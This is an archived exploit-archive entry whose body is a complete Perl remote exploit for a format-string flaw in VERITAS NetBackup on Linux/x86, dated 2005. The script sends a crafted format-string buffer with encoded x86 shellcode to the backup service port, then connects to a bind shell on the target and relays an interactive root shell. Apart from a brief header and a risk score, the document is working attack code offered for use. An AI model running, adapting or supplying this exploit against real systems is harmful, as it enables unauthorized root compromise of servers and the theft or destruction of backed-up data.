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VERITAS-Linux.pl.txt

🗓️ 30 Oct 2005 00:00:00Reported by John H.Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

VERITAS NetBackup Format Strings Linux/x86 Remote Exploi

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Code
`#!/usr/bin/perl  
######################################################  
# VERITAS-Linux.pl - VERITAS NetBackup Format Strings Linux/x86 Remote Exploit  
# johnh[at]digitalmunition[dot]com  
# bug found by kf_lists[at]digitalmunition[dot]com  
# http://www.digitalmunition.com/  
#  
# This exploit May NOT be posted to a public Archive like k-otik without being   
# in its original GPG form (protected by passphrase)  
#  
######################################################  
  
use POSIX;  
use IO::Socket;  
use IO::Select;  
use strict;  
  
print STDERR "\nveritas.pl - VERITAS NetBackup Format Strings Linux/x86 Remote Exploit\n";  
  
if ($#ARGV == -1) {  
print "Usage:\n\t$0 <hostname> <port>\n\n";  
exit (1);  
}  
  
my $hostName = $ARGV[0];  
my $port = $ARGV[1] || 13722;  
  
buildexploit ($hostName, $port);  
  
my $shellport = 5570;  
print "[*] Connect to remote shell port\n";  
my $sock = IO::Socket::INET->new (  
Proto => "tcp",  
PeerAddr => $hostName,  
PeerPort => $shellport,  
Type => SOCK_STREAM  
);  
  
if (! $sock)  
{  
print "[*] Error, Seems Failed\n";  
exit (0);  
}  
  
print "[*] G0t R00T\n";  
  
StartShell ($sock);  
  
sub buildexploit  
{  
my ($host, $port) = @_;  
my $s = IO::Socket::INET->new (  
Proto => "tcp",  
PeerAddr => $host,  
PeerPort => $port,  
Type => SOCK_STREAM  
);  
  
if (! $s)  
{  
print "[*] Could not create socket: $!\n";  
exit(0);  
}  
  
print $s " 118 1\nOWNED BABY\n";  
print scalar <$s>;  
print scalar <$s>;  
  
my $shellcode = "\x90" x 500 .  
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99".  
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40".  
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75".  
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75".  
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca".  
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b".  
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";  
my $retloc = 0x080b50ec; #0x080b53b4;  
my $retaddr = 0x80e0658; # can't use shellcode in stack.  
my $hi = ($retaddr >> 0) & 0xffff;  
my $lo = ($retaddr >> 16) & 0xffff;  
  
  
$hi = $hi - 0x28;  
$lo = (0x10000 + $lo + 0x28) - $hi - 0x50;   
  
my $align = 3;  
my $buffer = " 101 6\n" . "a" x $align . pack ('l', $retloc) . pack ('l', $retloc + 2) .  
"%." . $hi . "lx" . "%1694\$hn" .  
"%." . $lo . "lx" . "%1695\$hn" .  
$shellcode . "\n" .  
$shellcode . "\n" .  
"i\n" . "0wned\n" . "y0u\n".  
"boot.ini\n" . "\n";  
  
print STDERR "Sending " .length($buffer) . " bytes to remote\n";   
sleep (10);   
print $s $buffer;  
print scalar <$s>;   
  
close $s;  
}  
  
sub StartShell   
{  
my ($client) = @_;   
my $sel = IO::Select->new();  
  
  
# unbuffered fun.  
  
  
Unblock(*STDIN);   
Unblock(*STDOUT);  
Unblock($client);  
  
select($client); $|++;  
select(STDIN); $|++;  
select(STDOUT); $|++;  
  
$sel->add($client);  
$sel->add(*STDIN);  
  
while (fileno($client))  
{   
my $fd;  
my @fds = $sel->can_read(1);  
  
foreach $fd (@fds)  
{  
my $in = <$fd>;  
if (! $in || ! $fd || ! $client)  
{  
print "[*] Closing connection.\n";  
close($client);  
exit(0);   
}  
  
if ($fd eq $client)  
{  
print STDOUT $in;  
} else {  
print $client $in;  
}  
}  
}  
close ($client);  
exit (0);  
}  
  
sub Unblock {  
my $fd = shift;  
my $flags;  
$flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";  
fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";  
}  
`

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30 Oct 2005 00:00Current
7.4High risk
Vulners AI Score7.4
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